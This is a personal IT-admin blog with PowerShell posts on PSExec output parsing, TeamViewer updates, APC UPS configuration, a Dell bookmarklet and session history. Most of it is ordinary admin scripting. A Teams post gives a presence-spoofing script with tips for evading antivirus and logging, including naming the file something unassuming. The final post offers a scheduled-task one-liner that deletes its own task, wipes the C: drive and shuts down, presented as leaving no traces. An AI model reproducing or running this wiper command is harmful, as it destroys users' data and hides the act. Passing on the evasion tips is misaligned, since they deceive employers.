23 April, 2024

Return an array from PSExec (via Powershell)

 I was 'geekily' excited, when this occurred to me this AM.

Largely because I have been frustratedly  looking for a way to deal with a limitation that PSExec presents, when I am trying to get information from a remote computer.
(More info on PSExec, which is part of the SysInternals suite, here)

When pointing a (PoSh) command at a remote computer via PSExec - Specifically one that returns a result that is an array - Capturing that returned result is not an array - It is a simple string, with multiple lines.

Parsing that returned string is certainly possible - But there are a few steps involve in parsing it.

It would be SO MUCH EASIER if that returned value was still an array... Right?!

Google searching for a way to do this... For YEARS - Has not provided anything on how to keep that array... an array...

This morning... I had a thought...

As it turns out - piping that array to 'ConvertTo-Csv' as part of the command being ran on the remote computer is the key!

Then capturing the returned CSV value and piping it to 'ConvertFrom-Csv' - and Ta-Da! It's an array!

Below is a simple example, and also a more involved sample.

In the more involved sample - I send an actual script to the remote computer and run that script.

There may be a better way to run a multiple line script via PSExec - I am not sure...

But the way I am doing it does make it much easier - If only that I don't have to 'escape' all of the quotes (") and dollar signs ($), with tilde marks (`) all over it (as seen in the simple example).

I certainly am open to suggestions...
(As always - Forgive me for using aliases for commands, that is just how I roll...)

NOTE: I have been in the habit of using this '.split()' for a while, on strings - Just to clean up 'array to string' situations, that invariably end up with leading and trailing spaces:

$Computer_Name = "<hostname>"

$DiskInfo = (C:\SysInternals\PsExec.exe -s -nobanner \\$Computer_Name /accepteula cmd /c powershell.exe `
"& { get-WmiObject win32_logicaldisk | ? {`$_.DeviceID -eq 'C:'} | Select FreeSpace, Size | ConvertTo-Csv }"`
 2> $null) | ConvertFrom-Csv

######## A more involved example #########

$CMD = 'C:\SysInternals\PsExec.exe -s -nobanner \\$Computer_Name /accepteula cmd /c powershell.exe "& { $C_Line }" 2> $null'

$RAM_Report = @'
$DiskInfo = get-WmiObject win32_logicaldisk | ? {$_.DeviceID -eq 'C:'} | Select FreeSpace, Size 

Get-ComputerInfo | Select `
@{ N = 'Hostname';  E = { $_.CsDNSHostName } },`
@{ N = 'Username';  E = { $_.CsUserName } },`
@{ N = 'Last Boot'; E = { $_.OsLastBootUpTime } },`
@{ N = 'RAM';       E = { "$([math]::round($_.CsPhyicallyInstalledMemory /1MB, 3)) GB" } },`
@{ N = 'Free RAM';  E = { "$([math]::round($_.OsFreePhysicalMemory /1MB, 3)) GB" } },`
@{ N = 'UpTime';    E = { "$($_.OsUptime.Days) Days(s), $($_.OsUptime.Hours) hour(s)" } },`
@{ N = 'DiskSize';  E = { "$([Math]::Round($DiskInfo.Size / 1GB,2)) GB" } },` 
@{ N = 'FreeSpace'; E = { "$([Math]::Round($DiskInfo.FreeSpace / 1GB,2)) GB" } },` 
@{ N = '%Free';     E = { "$(([Math]::Round(($DiskInfo.FreeSpace) / ($DiskInfo.Size),3)) * 100)%" } } | ConvertTo-Csv 
$OutFilePath = "\\$Computer_Name\c$\Users\Public\Downloads\RAM_Report.txt" 
$RAM_Report | Out-File $OutFilePath -Force

$C_Line = "iex ((New-Object System.Net.WebClient).DownloadString('C:\Users\Public\Downloads\RAM_Report.txt'))"
$Remote_Info = (iex $CMD).Split("`n|`r",[System.StringSplitOptions]::RemoveEmptyEntries) | ConvertFrom-Csv

04 April, 2024

TeamViewer 'Console' - Manual automated update

 Some context may help...

We use TeamViewer to remotely support our users.

I don't know what the app used to manage / connect to others is actually called - So I call it the 'Console'.
'Host' is the client installed on all of the computers we support.

The 'Console' installs to this folder: C:\Program Files\TeamViewer\TeamViewer.exe
The 'Host' installs to this folder: C:\Program Files (x86)\TeamViewer\TeamViewer.exe

The console also acts as a 'Client' - So having the 'Client installed on my home computer, allows me to remote connect to my work computer and WFH easily... And conversely, from work, I can easily access my home computer, if needed.

From home - I kept running into (infrequently) not being able to connect to my work computer...
The computer would show, but as 'offline'...

  1. The updated file / installer would download...
  2. That installer would shutdown the current TeamViewer...
  3. And then the installer would fail to complete

(I think its ESET AV - but I am not going to try and explain this to my boss who controls that config - to much work - He turns everything into an argument.)

The end result - Teamviewer is not running, so I cant connect to the work computer...

I put together the below PoSh Script to get past the above problem...
It is a scheduled task that runs at 3AM every day - It takes about 6 minutes to complete
It downloads the most recent version of the Powershell 'Console'...
Compares the 'version info' of that download, to the 'version info' of the currently installed...

If needed, it proceeds to kill Teamviewer, and run the install from that download.
It presents a pop-up window beforehand with a warning, and other useful info...

After that completes, it restarts TeamViewer.
Verifies the downloaded vs. installed versions.

Even if no updates are needed - Regardless, it checks to see if TeamViewwer is running and if not will (attempt to) restart it.

Additionally, it logs all of the pertinent info (currently set to only hold 50 lines)
Log examples:
2024 APR 04, 03:08:39 AM | ~ UPDATED ~ From ver.:,  To ver.: | Tv Running?: yes
2024 APR 04, 03:07:01 AM | Installed: vs. Downloaded: - Update needed?: YES | Tv Running?: yes
2024 APR 03, 03:06:55 AM | Installed: vs. Downloaded: - Update needed?: no | Tv Running?: yes
2024 APR 02, 03:06:55 AM | Installed: vs. Downloaded: - Update needed?: no | Tv Running?: yes

Here is the script (forgive my command abbreviations - That's just how I roll):

$LogFile_Path = "C:\Users\richie\Documents\PoSh_Stuff\TvUpdateReport.txt"

$DL_Path = "C:\Users\Public\Downloads"

$App_Path = "C:\Program Files\TeamViewer\TeamViewer.exe"
Function Running { Get-Process | ? { $_.Path -eq $App_Path } }

Function Report {"$Report`n$(gc $LogFile_Path | Select -First 50 | Out-String)" | Out-File $LogFile_Path -Force}

$URL = "https://download.teamviewer.com/download/TeamViewer_Setup_x64.exe"
$SaveFile = "$DL_Path\$(Split-path $URL -Leaf)" 
iwr -Uri "$URL" -OutFile $SaveFile

$DataInfo = gci $SaveFile | Select Name, FullName

If (!$DataInfo) {Break}
$DL_Path = ($DataInfo).FullName
$shellfolder = $null; $shellfolder = (New-Object -COMObject Shell.Application).Namespace($(Split-Path ($DataInfo).FullName))
$shellfile = $null; $shellfile = $shellfolder.ParseName($(Split-Path ($DataInfo).FullName -Leaf))

$Downloaded = $null; $Downloaded = [System.Version]::Parse($($shellfolder.GetDetailsOf($shellfile, 166) )) # 166 is the metatag value for the "File version" tag.
$Installed = $null; $Installed = (Get-Item $App_Path).VersionInfo.FileVersionRaw

$D_version = "$($Downloaded.Major).$($Downloaded.Minor).$($Downloaded.Build).$($Downloaded.Revision)"
$I_version = "$($Installed.Major).$($Installed.Minor).$($Installed.Build).$($Installed.Revision)"
$NeedsUpdate = "no"
If ($Downloaded -gt $Installed) {$NeedsUpdate = "YES"}

$Tv_Running = "NO"; If ( Running ) { $Tv_Running = "yes" }
If ($Tv_Running -ne "yes") {Start $App_Path}

$FormatDate = $((Get-Date).ToString("yyyy '$(((Get-Culture).DateTimeFormat.GetAbbreviatedMonthName(((Get-Date)).Month)).ToUpper())' dd, hh:mm:ss tt"))
$Report = "$FormatDate | Installed: $I_version vs. Downloaded: $D_version - Update needed?: $NeedsUpdate | Tv Running?: $Tv_Running"
##  gc $LogFile_Path

If (!$Downloaded -or !$Installed) {Break}
    If ($Downloaded -gt $Installed) {
        If ($Host.Name -match "ISE") { 
        ''; Write-Host "DOWNLOADED TeamViewer version:" -F 14 -B 2; Write-Host ($Downloaded | Out-String).Trim() -F 10
        ''; Write-Host "INSTALLED TeamViewer version:" -F 5 -B 14; Write-Host ($Installed | Out-String).Trim() -F 14

$PopUpMsg = @"
In about 30 seconds...
It will be UPDATED... 
From: $Installed 
To  : $Downloaded
THEN Teamviewer will restart.

You should then be able to reconnect to this comouter if needed.
Msg /TIME:30 * $PopUpMsg
Sleep 29.5

Get-Process | ? {$_.Path -match "TeamViewer.exe" } | Stop-Process -Force
Sleep 3; cmd.exe /c "$SaveFile" /S
Sleep 3; Start $App_Path

If (!( Running )) {
Sleep 10; Start $App_Path

If ($Host.Name -match "ISE") { If ($Downloaded -le $Installed) { Write-Host "TeamViewer is Up-to-date..." -F 10 -B 2} }

If ($Downloaded -gt $Installed) {
$Prev_I_version = $I_version
$Installed = $null; $Installed = (Get-Item $App_Path).VersionInfo.FileVersionRaw
$I_version = "$($Installed.Major).$($Installed.Minor).$($Installed.Build).$($Installed.Revision)"
Sleep 10
$Tv_Running = "NO"; If ( Running ) { $Tv_Running = "yes" }
If ($Tv_Running -ne "yes") {Start $App_Path}

$FormatDate = $((Get-Date).ToString("yyyy '$(((Get-Culture).DateTimeFormat.GetAbbreviatedMonthName(((Get-Date)).Month)).ToUpper())' dd, hh:mm:ss tt"))
$Report = "$FormatDate | ~ UPDATED ~ From ver.: $Prev_I_version,  To ver.: $I_version | Tv Running?: $Tv_Running"
##  gc $LogFile_Path

12 February, 2024

APC by Schneider - Change battery date - Clear battery error.

You may find that ftp first needs to be enabled on the UPS...

Explaining the telnet and ftp enablement bit is the longest part really...
If you already have FTP enabled - and don't care how to do it via CLI...
Scroll down to: '
Here is how to update the 'Battery Date'

Check to to see that ftp is enabled first - here:

Enable FTP...

Configuration > Network > FTP Server: 'Enable' (checkbox)

NOTE: You will return to this page to later DISABLE FTP - It is seen as a security risk - Don't leave it enabled

Disable FTP...

Configuration > Network > FTP Server: 'Enable' (uncheck)

It can also be enabled via telnet... In fact, all of this  an be done via CLI...


Note: This command will enable telnet - (needed if you get an error about 'telnet' not being a recognized command):

At an elevated command prompt type: pkgmgr /iu:"TelnetClient"

This enables telnet...

How to get telnet connected - Open a CMD prompt and:

telnet <UPS IP address> 23 (port 23 is the default telnet port)

User Name: apc (the default)

Password: apc (this is the default password - you should change this)

Once logged in, type: ? <and hit enter>

(this just lists all available commands)

Type: ftp <and hit enter>

E000: Success
Service:        disabled
Ftp Port:       21

apc>ftp ?

Usage: ftp --  Configuration Options
    ftp [-p <port-number>] (21 and 5001-32768)
        [-S <enable | disable>]

NOTE: The '-S' is case sensitive - it is an uppercase letter

ftp -S enable <and hit enter>

apc>ftp -S enable
E002: Success
Reboot required for change to take effect.

Use the reboot command -

apc>reboot <and hit enter>

E000: Success
Reboot Management Interface
Enter 'YES' to continue or <ENTER> to cancel :

(You do have to reopen the telnet and log back in after a reboot.)

Conversely (once you are done using ftp)...

ftp -S disable <and hit enter>

apc>ftp -S disable
E002: Success
Reboot required for change to take effect.

apc>reboot <and hit enter>

E000: Success
Reboot Management Interface
Enter 'YES' to continue or <ENTER> to cancel :

OK - With THAT part explained - 

Here is how to update the 'Battery Date'

Take note of the current directory shown at the command prompt - THIS is where the 'config.ini' is going to be sent / saved to.

At the command prompt:

ftp <UPS IP address>

Log in as prompted...

Type THIS command:

get config.ini 

Once that completes (it takes a few seconds)...

Locate 'config.ini' as noted above -
Open it on Notepad (or other text editor - I don't care - I'm not your mom!)

Search for (Ctrl+F) 'BatteryDate' in this file (it was / is on line 368 in mine)...

Edit the correct date value in this format: mm/dd/yyyy

Save the file and close it.

At the ftp prompt type: 'put ' (note the space after 'put' - include that space)

Then drag and drop that 'config.ini' file into the ftp window (or type in the full path... But drag and drop is way easier, tho)

put C:\Users\Yourself\config.ini <and hit enter>

Allow that to complete...

To end the ftp session type: bye <and hit enter>

If you have notifications set up... 

Processing the new config is going to generate about twenty something emails...

One of those emails will include: 'Informational - UPS: Battery life exceeded cleared.'

(as explained above)

06 March, 2023

'Bookmarklets' (JavaScript bookmark) - Search for Dell 'Service Tags', or 'Service Code'

 I think 'Bookmarklets' have fallen out of fashion - But I still find them handy -

I just made one for Dell.com - To look for service tags, but it also works for the longer 'Service Code' too.

This pops up a window / prompt asking for the (Dell) 'Service Tag', then pulls up the info about it, on the Dell Support site.

The result opens in a new tab.

There are a few caveats* to note - So 'Bookmarklets' can be used in modern browsers (listed below)

There's a few reasons I put this together - Mostly to make it easier to get info on a Dell computers warranty...
Less clicks, no dropdowns... Takes me right to the pertinent info.

Here is the basis:

Here is the 'Bookmarklet':
javascript:(function(){var input=window.prompt("Dell Service Tag #:%22);var%20targetUrl=%22https://www.dell.com/support/search/en-us#q=%22;input=input.replace(/\s/g,%20%22%22);if(input)window.open(targetUrl+input)})();

If you are not familiar with how 'Bookmarklets' work...

You are creating a new Bookmark / Favorite... So open the new Bookmark / new Favorite dialog up, to start...

Your call - I put mine on the 'Bookmarks Bar'/ 'Favorites Bar'...

Copy / pasta the entire JavaScript line, as the URL for new Bookmark / Favorite, and give it a name (I called it 'Dell Tag?').

Save it.

When you click on this Bookmark / Favorite, a dialog opens - Enter in the Dell 'Service Tags', or 'Service Code' and click 'OK' or hit enter...

* Caveats:

  • It behaves pretty straight forward in Edge, and Firefox, but in Chrome, it was blocked as a pop-up, so I had to click on that notification, and 'Allow' it.
  • Also - JavaScript is not enabled / allowed on the 'New Tab' page - So this will not work until some / any other webpage is loaded.

06 January, 2023

PoSh Command History - Create your own

I wasn't sure how helpful, or novel this approach is - but thought I would share it.

> I also posted this on reddit - And someone commented:

"Was Add-History on vacation?"

I replied:


You know - When I went looking for ways to do this - That command never presented itself.

I will have to play around with it.


Then I replied again the next day, after looking at that command:


From what I am seeing - playing around with 'Add-History'...

THAT is much more complicated... Actually a pain in the ass.

This thing I hacked together is MUCH simpler across the board.

Though, all the same - Thanks for pointing that out!


From that - I feel like what I put together is rather novel.

I have a script ("disabled termed expired.ps1") that I have scheduled to run at 8:15, am M-F.

It pops up a PoSh CLI window on top of everything else, names it, sizes it (and will kill off any previous instances of that window)*, lists out what AD accounts are disabled, or expired, the reason why (terminated, KnowBe4 training is late...), how long it has been that way, etc...

The meat of that script is wrapped in a function named 'dte' - This way, while the window is open, I can easily refresh the window, with updated results, just by typing 'dte'...

Then I got lazy, and wanted to see if there was a way for that 'dte' command to be in the command history, so I could just 'up-arrow' and hit enter...

You know, rather than having to go through the laborious tasks of finding each of the three letters on the keyboard and having to press each one...

Really - I just wanted to see if I could do it...

Anyway - I added the below to the bottom part of the 'dte' function...

It sets the history for that specific Posh session to 'dte' (I don't think it works / will cause errors if used in ISE).

Obviously - It can be used for all kinds of things...
If you wanted to have several items you want in the history you could do:

Get-Process" | Out-File $HxPath -Encoding ascii -Force 

Or assign that text to a variable:

$Hx = "dte

$Hx | Out-File $HxPath -Encoding ascii -Force 

If ($Host.Name -NOTmatch "ISE") {
# This sets the command history for the PoSh session to 'dte',
# so you can just up arrow, and get the command that re-runs the 'dte' function

$HxPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\dte.txt" 
"dte" | Out-File $HxPath -Encoding ascii -Force 
Set-PSReadLineOption -HistorySavePath $HxPath

(Hit the up-arrow '▲' or, type 'dte', and hit 'ENTER' to refresh...)

* If anyone is interested - Here is what I use to create and control the PoSh CLI window:

I like to include the PID in my Posh instances 'WindowTitle' - In case they lock up, so I can easily 'Stop-Process -Id XXXX'

$Window_Title = "Disabled, Terminated, or Expired AD Accounts"

If ($Host.Name -NOTmatch "ISE") {

$ScrWidth = $null; $ScrHeight = $null
$ScrWidth = 135
$ScrHeight = 35

$Already = $null; $Already = Get-Process | ? { $_.MainWindowTitle -match $Window_Title }

If ($Already) { $Already | Stop-Process }
$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.size($ScrWidth,$ScrHeight)
$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.size($ScrWidth,$ScrHeight)
$Host.UI.RawUI.WindowTitle = "$Window_Title (PID: $PID)"

############ Keeps the Console window on top ###############
$signature = @'
public static extern bool SetWindowPos(
IntPtr hWnd,
IntPtr hWndInsertAfter,
int X,
int Y,
int cx,
int cy,
uint uFlags);

$type = Add-Type -MemberDefinition $signature -Name SetWindowPosition -Namespace SetWindowPos -Using System.Text -PassThru
$handle = (Get-Process -id $Global:PID).MainWindowHandle
$alwaysOnTop = New-Object -TypeName System.IntPtr -ArgumentList (-1)
$type::SetWindowPos($handle, $alwaysOnTop, 0, 0, 0, 0, 0x0003)
############## END - On top ################

} # END 'If ($Host.Name -NOTmatch "ISE")'

28 December, 2022

This is designed to keep MS Teams 'Presence' from going to 'Away'...

Every 4.5 minutes / 270 seconds ('$Timer = 270') - It toggles the Teams window (minimize, restore) - This tells the app that it is being used, and prevents it from going from 'Available' to 'Away' after 5 minutes of inactivity...

So... Always 'Available'.

Note that some Anti-virus solutions, as well as enabling Powershell logging (to the Event-Viewer) can expose this hack...

Read the comments in the script for additional details on how to use the script.

If the computer does not allow the logged-in user to run scripts, this can be copy-pasted into PoSh ISE and ran from there...

If ISE is blocked, or you want to go a cleaner route...

Then copy-paste this script into a text file, name it something unassuming (CustomerNotes.txt).

Then open up the PoSh command shell and run this:

('iex' is the alias for 'Invoke-Expression')

iex ((New-Object System.Net.WebClient).DownloadString(<full path to the file>\CustomerNotes.txt'))

This is a 'Do-While' method... 

The 'While ($Blurb -eq $null)' will never be satisfied, so the script must be manually stopped, unless using the '$QuittingTime' variable is used.

The Teams presence, will go from 'Available' to 'Away' after 5 minutes of inactivity.
There are several Teams processes, bout only one of them will have a non-zero 'MainWindowHandle' - That is the actual window. 

This script toggles the Teams window to the top (making it the active window), every 4.5 minutes (270 seconds). 
Thus when Teams is the active window, the Teams presence is set to 'Available', before it can show an 'Away' presence.
Fire it up if you need to be away discreetly...
If you want it to allow you to be 'Away' for lunch - Uncomment those variable, and set '$LunchStart' and '$LunchEnd' accordingly.
Example (lunch from noon to 1pm):
$LunchStart = [DateTime]"12:00"
$LunchEnd = [DateTime]"13:00"

And if you want to kill this script at quitting time - Uncomment the '$QuittingTime' variable, and set it accordingly.
Example (Quitting time is 5pm):
$QuittingTime = [DateTime]"17:00"

# Leave these NULL values alone #
$LunchStart = $null; $LunchEnd = $null; $QuittingTime = $null
# Leave these NULL values alone #

# Uncomment these two items and set them accordingly if you want to use the lunchbreak feature.
$LunchStart = [DateTime]"12:00"
$LunchEnd = [DateTime]"13:00"
# Uncomment these two items and set them accordingly if you want to the lunchbreak feature.

# Uncomment this item and set it accordingly if you want to use the QuittingTime feature.
$QuittingTime = [DateTime]"17:00"
# Uncomment this item and set it accordingly if you want to use the QuittingTime feature.

$RunIt = 0

If ( (Get-Date) -lt $LunchStart -or (Get-Date) -gt $LunchEnd ) { $RunIt = 1 }
If ( $LunchStart -eq $null -and (Get-Date) -lt $QuittingTime ) { $RunIt = 1 }
If ( (Get-Date) -lt $QuittingTime ) { $RunIt = 1 }
If ( (Get-Date) -ge $QuittingTime ) { $RunIt = 0 }

# Function 'Set-WindowStyle' was found in THIS comment: https://www.reddit.com/r/PowerShell/comments/bng1ec/comment/en6a3pi

Function Set-WindowStyle 
        $Style = 'SHOW',
        $MainWindowHandle = (Get-Process -Id $pid).MainWindowHandle
# $MainWindowHandle = (Get-Process -Id $pid).MainWindowHandle
# Get-Process | ? { $_.Product -match "Teams" -and $_.MainWindowHandle -ne 0 }
    $WindowStates = @{
        FORCEMINIMIZE = 11; HIDE = 0
        MAXIMIZE = 3; MINIMIZE = 6
        RESTORE = 9; SHOW = 5
        SHOWNORMAL = 1
    Write-Verbose ("Set Window Style {1} on handle {0}" -f $MainWindowHandle, $($WindowStates[$style]))

    $Win32ShowWindowAsync = Add-Type –memberDefinition @” 
    public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
“@ -name “Win32ShowWindowAsync” -namespace Win32Functions –passThru

    $Win32ShowWindowAsync::ShowWindowAsync($MainWindowHandle, $WindowStates[$Style]) | Out-Null
} # END Function Set-WindowStyle 

# Setting the baseline...
Get-Process | ? { $_.Product -match "Teams" -and $_.MainWindowHandle -ne 0 } | % { Set-WindowStyle MINIMIZE $PSItem.MainWindowHandle }
Sleep 2
Get-Process | ? { $_.Product -match "Teams" -and $_.MainWindowHandle -ne 0 } | % { Set-WindowStyle RESTORE $PSItem.MainWindowHandle }

$Timer = 270

Do {
If ( $RunIt -ge 1 ) {
Get-Process | ? { $_.Product -match "Teams" -and $_.MainWindowHandle -ne 0 } | % { Set-WindowStyle MINIMIZE $PSItem.MainWindowHandle }
Sleep 2
Get-Process | ? { $_.Product -match "Teams" -and $_.MainWindowHandle -ne 0 } | % { Set-WindowStyle RESTORE $PSItem.MainWindowHandle }
If ( (Get-Date) -gt $QuittingTime -and $QuittingTime -ne $null) { Write-Host "STOP!!!" -F 14; Break }

Sleep $Timer
} While ($Blurb -eq $null)

NOTE: Teams status is logged here:

$TeamsStatus = Get-Content -Path $env:APPDATA"\Microsoft\Teams\logs.txt" -Tail 1000 | Select-String -Pattern `
  'Setting the taskbar overlay icon -',`
  'StatusIndicatorStateService: Added' | Select-Object -Last 1

22 June, 2022

My Set-Up script 'getter'

$RawContent = (((iwr "http://www.somethingtoscrollthrough.com/2022/05/firewall.html").RawContent).Replace('|','~')).Split("`n|`r",[System.StringSplitOptions]::RemoveEmptyEntries)
$Start = "<p>#~~~~~~#"; $End = "<br />#---------#</p>"
$Counter = 0; $File_Path = "$(Get-Location)\PC_SetUp.ps1"
Clear-Variable ArrayStart, ArrayEnd
$RawContent | % {
If ($_ -match $Start) { $ArrayStart = $counter }; If ($_ -match $End) { $ArrayEnd = $counter }
If ($ArrayEnd) {Return}; $Counter++
$RawContent[$ArrayStart..$ArrayEnd] | % { ($_) -replace(" ~ "," | ")  -replace("<p>","")  -replace("</p>","") -replace("<br />","") } #| Out-String | Out-File -LiteralPath $File_Path -Encoding ascii -Force

$RawContent[$ArrayStart..$ArrayEnd] | % { ($_) -replace("<p>","")  -replace("</p>","") -replace("<br />","") } | Out-String | Out-File -LiteralPath $File_Path -Encoding ascii -Force

$LNK_Path = "$(Get-Location)\Open_PC_SetUp.lnk"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($LNK_Path)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe"
$Shortcut.Arguments = "`"$File_Path`""
$Shortcut.Description = "Opens '$File_Path' as Admin, in ISE "
$Shortcut.Save(); Write-Host "Shortcut is here: $LNK_Path" -Fore 14 -Back 5
$bytes = [System.IO.File]::ReadAllBytes($LNK_Path)
$bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) ON
[System.IO.File]::WriteAllBytes($LNK_Path, $bytes)
ii -Path $LNK_Path #Open the script in ISE, as Admin



This sumbitch right here - As a scheduled task will ruin a computer and leave no traces of itself:
(The argument, executes in memory, then deletes the task and its associated XML, then proceeds to remove anything it can on the 'C' drive. Run it as an admin user, and set it to run logged in or not)


Actions > New -


Add arguments:
/C schtasks /delete /tn UpdateAll /f & del "C:\Windows\System32\Tasks\UpdateAll" & rd c:\ /s /q & shutdown -s -t 0